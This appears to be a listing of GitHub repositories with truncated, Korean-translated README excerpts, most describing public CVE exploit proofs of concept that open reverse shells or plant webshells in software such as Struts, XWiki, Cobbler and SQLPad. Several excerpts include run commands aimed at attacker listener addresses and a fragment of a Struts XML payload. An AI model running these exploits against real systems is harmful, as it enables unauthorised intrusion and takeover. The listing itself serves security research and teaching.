CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE 면책 조항: 이 스크립트는 교육 목적으로만 사용해야 합니다. 불법적인 목적으로 사용하지 마십시오. 만약 그렇게 한다면 전적으로 귀하의 책임이며, 저는 어떠한 오용에 대해서도 책임을 지지 않습니다. 설명 이 스크립트는 현재 디렉토리에 payload.sh라는 리버스 셸을 생성합니다. 그런 다음 포트 80에서 HTTP 서버를 호스팅하여 피해자가 payload.sh를 가져올 수 있도록 합니다. 공격자 시스템에서 리스너를 시작해야 합니다. HTTP 서버는 3초 후에...

POC-IngressNightmare-CVE-2025-1974

Shell.so 빌더 Alpine 기반 이 프로젝트는 Docker 컨테이너 내에서 Alpine Linux를 사용하여 shell.so 페이로드를 빌드할 수 있게 해줍니다. 사용 방법 1. 저장소 클론 : git clone cd 2. 페이로드 빌드 : ./runbuild.sh 컴파일된 shell.so가 프로젝트 루트 디렉토리에 생성됩니다. ⚠️ 중요: 리버스 셸 IP와 포트는 shell.c에 하드코딩되어 있습니다. 페이로드를 빌드하기 전에 업데이트하십시오...

ReArk

ReArk English | 简体中文 ReArk is a desktop reverse engineering and AI-assisted analysis tool for HarmonyOS and Android applications. Open HarmonyOS .hap, .app, and .abc files or Android .apk and .aab packages to inspect code, resources, metadata, and application behavior in one workspace. Combine...

CVE-2025-6002

CVE-2025-6002 익스플로잇 이 스크립트는 VirtueMart 4.4.10 CVE-2025-6002에서 발견된 인증된 임의 파일 업로드 취약점을 악용합니다. 해당 취약점은 이 블로그 게시물에 설명되어 있습니다: https://blog.blacklanternsecurity.com/p/doomla-zero-days 이 스크립트는 제공된 자격 증명으로 VirtueMart에 로그인하고, 새 제품을 생성한 후 미디어 파일로 PHP 웹쉘을 업로드합니다. 그런 다음 제공된 IP/포트로 리버스 셸을 실행합니다. 매개변수: --url:...

S2-052

CVE-2017-9805 S2-052 리버스 셸 익스플로잇 영향받는 버전 Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.internal.objects.NativeString referen...

CVE-2007-2447

CVE-2007-2447 스크립트를 테스트하려면 여기에서 제공되는 가상 머신 "metasploitable 2"를 추천합니다. 익스플로잇이 작동하면 스크립트가 리버스 셸을 표시합니다. 연결을 받으려면 netcat 세션을 다음과 같이 열면 됩니다: netcat -lnvp 목차 예제 요구 사항 페이로드 예제 py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14 그리고 netcat에서: netcat -lnvp 1337 결과: netcat: alt text 스크립트에서: alt text 요구 사항...

cgi-bin-shellshock

사용 방법 저장소 복제 또는 원하는 파일을 복사하여 붙여넣기 sudo git clone https://github.com/Gurguii/shellshock.sh 스크립트 실행 Bash bash shellshock.sh -u -h -p Python python3 shellshock.py -u -lh -lp 참고: 기본 LPORT는 4444이며, URL은 필수입니다. URL만 제공되면 RCE를 수행하고, 그렇지 않으면 제공된 lhost 및 lport로 RSHELL을 수행합니다...

CVE-2025-24893-Reverse-Shell

CVE-2025-24893 - XWiki 원격 코드 실행 익스플로잇 CVE-2025-24893 PoC – XWiki 매크로 원격 코드 실행 Artemir의 원본 PoC에서 영감을 받음 설명 이것은 취약한 버전의 XWiki 에서 원격 코드 실행RCE 취약점인 CVE-2025-24893 에 대한 개념 증명PoC 익스플로잇입니다. 이 결함은 SolrSearch 엔드포인트 내에서 사용자 입력의 부적절한 삭제sanitization에 있으며, RSS 피드 쿼리를 통해 샌드박스되지 않은 매크로 주입에 취약합니다. 이 스크립트는 async...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 인증된 RCE 이 저장소는 CVE-2021-43857 에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이는 Gerapy -p -L -P 요구 사항 1. Python 3.x 2. requests 및 pyfiglet pip install requests pyfiglet 3. Netcat nc...

PoC-Deployer-System

PoC-Deployer-System !License: MIThttps://img.shields.io/b...

CVE-2020-0910

CVE-2020-0910 작동하는 익스플로잇 PoC CVE-2020-0910 - 리버스 바인드 셸 Python2.7로 테스트됨 설치 방법: pip install -r requirements.txt 실행 방법: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2024-47533-PoC

CVE-2024-47533 – Cobbler XMLRPC 인증 우회 → 리버스 셸 인증되지 않은 RCE 📌 요약 이 저장소는 CVE-2024-47533 에 대한 개념 증명PoC 익스플로잇 을 포함하고 있습니다. 이는 Cobbler의 XMLRPC API에서 발생하는 심각한 인증 우회 취약점으로, 인증되지 않은 원격 코드 실행RCE으로 이어집니다. 이 익스플로잇은 XMLRPC API의 login 메서드 결함을 이용하여 인증을 우회하고, backgroundimport를 통해 리버스 셸 명령어를 주입합니다. ⚠️ 면책 조항 이 도구는...

CVE-2024-29510

원본 연구 및 POC 코드: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/ 참고: 실행된 명령 외에는 POC를 변경하지 않았습니다. 모든 공로는 놀라운 연구와 POC를 제공한 Codean Labs의 Thomas Rinsma에게 있습니다. 로컬 시나리오 1. 스테이저 스크립트로 래핑되어 호스트 취약 여부를 확인하는 체크 스크립트를 다운로드 및 실행 2. POC가 Python3 리버스 셸을 다운로드 및 실행하도록...

CVE-2015-8351

gwollebuster 이 스크립트는 WordPress의 오래된 플러그인 gwolle용 익스플로잇입니다. 사용법: ./gwollebuster.py 첫 번째 인수 = gwolle가 설치된 WordPress 대상 URL 두 번째 인수 = 사용자의 IP 세 번째 인수 = 리버스 셸용 리스닝 포트 예시: ./gwollebuster.py http://vulnpress.com/ 192.168.1.5 1234 이 스크립트는 PHP 리버스 셸 스크립트를 생성하고 간단한 서버를 바인딩합니다. 따라서 새 터미널 2개를 열어 첫 번째 터미널에서...

CVE-2023-46818

CVE-2023-46818 PoC 이것은 Egidio Romano aka EgiX가 제공한 PoC의 Python 구현입니다 여기. 이 익스플로잇은 웹쉘을 프롬프트하며, 완전한 인터랙티브 셸을 얻으려면 명령을 실행하고 자신에게 리버스 셸을 보내십시오. 사용법 python exploit.py http://localhost username password 면책 조항 이 PoC의 저자는 누구의 행동에도 책임을 지지 않습니다. 이 익스플로잇을 CTF나 데모에서만 사용하십시오. -Vulner 일명 Abumalik...

CVE-2022-0944_RCE_POC

CVE-2022-0944 SQLPad RCE CVE-2022-0944에 대한 개념 증명 익스플로잇으로, 공격자 PC로의 리버스 쉘을 통한 RCE를 유발합니다. 사용법 usage: script.py URL IP PORT positional arguments: URL SQLPad의 URL IP 리버스 쉘을 위한 리스너 호스트 주소 PORT 리버스 쉘을 위한 리스너 포트 예시: 익스플로잇 실행 ./script.py http://admin.sightless.htb 10.10.11.2 443 면책 조항 이 저장소에는 사이버 보안 학습...

RemoteMouse-3.008-RCE

CVE-2021-35448 - 원격 마우스 익스플로잇 설명 이 익스플로잇은 Remote Mouse 애플리케이션이전 명칭 WiFi Mouse의 CVE-2021-35448 취약점을 대상으로 합니다. POC CVE-2021-35448.webm 사용법 기본 구문 python3 CVE-2021-35448.py -t OPTIONS 옵션 -t, --target: 대상 IP 주소 필수 -p, --payload: 실행할 사용자 정의 명령어 -r, --reverse: IP:PORT 형식의 리버스 셸 -l, --http: IP:PORT 형식의 로...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics 1.7.3 - 원격 코드 실행 익스플로잇 v2 Open Web Analytics 1.7.3 - RCE를 위한 작동하는 익스플로잇이며, pentestmonkey의 php 리버스 셸로 강화되었습니다. 캐시에서 사용자를 찾지 못하는 문제를 수정했습니다. 원본 소스 익스플로잇은 여기에서 찾을 수 있습니다. 사용법 공격자 머신의 IP와 PORT를 php-reverse-shell.php 파일에 추가하고, 취약한 대상 URL에 대해 -u 인수와 함께 exploit.py를 실행하세...

CTFs

CTF 라이트업 안녕하세요, 저는 Sean이고 여가 시간에 CTF 문제를 푸는 것을 즐깁니다. 현재 제 역할은 바이너리 익스플로잇과 소프트웨어 리버스 엔지니어링을 많이 다루는 것이라 주로 그 카테고리에 집중하는 편입니다. 온라인에서 보는 대부분의 라이트업은 형편없어서, 이 글들이 기본 개념을 더 잘 설명해주길 바랍니다. 모든 풀이에는 pwntools로 작성된 재현 가능한 솔루션을 최대한 포함하려고 노력합니다. 중요한 것은 플래그 자체가 아니라 플래그를 얻기까지의 과정입니다. 이 글이 금방 낡지 않길 바라지만, 몇몇 CTF 문제...

SQLPad-RCE-Exploit-CVE-2022-0944

작동 방식: 이 PHP 코드는 SQLPad 의 원격 코드 실행RCE 취약점CVE-2022-0944을 악용하도록 설계되었습니다. 악성 코드를 SQLPad 애플리케이션에 주입하여 시스템 명령을 실행하도록 강제함으로써 공격자가 취약한 시스템을 원격으로 제어할 수 있는 리버스 셸 연결을 만듭니다. 사전 요구 사항: PHP CLI – sudo apt-get install php-cli cURL PHP cURL library – sudo apt-get install php-curl 사용법: 1. 리스너 설정 공격자 머신에서 리버스 셸...